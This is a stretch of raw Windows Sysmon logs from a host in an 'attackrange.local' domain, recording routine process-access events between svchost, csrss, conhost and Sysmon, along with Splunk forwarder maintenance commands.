09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5400-000000007F01}2628C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D2-5F80-5400-000000007F01}2628C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18226|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.651{A5F018FF-28D2-5F80-5400-000000007F01}2628C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keysC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000001997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.606{A5F018FF-28D2-5F80-5300-000000007F01}38643896C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5300-000000007F01}3864C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5300-000000007F01}3864C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28D2-5F80-5200-000000007F01}40323480C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D2-5F80-5300-000000007F01}3864C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.364{A5F018FF-28D2-5F80-5300-000000007F01}3864C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D2-5F80-5200-000000007F01}4032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings 10341000x80000000000000001983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5200-000000007F01}4032C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.356{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 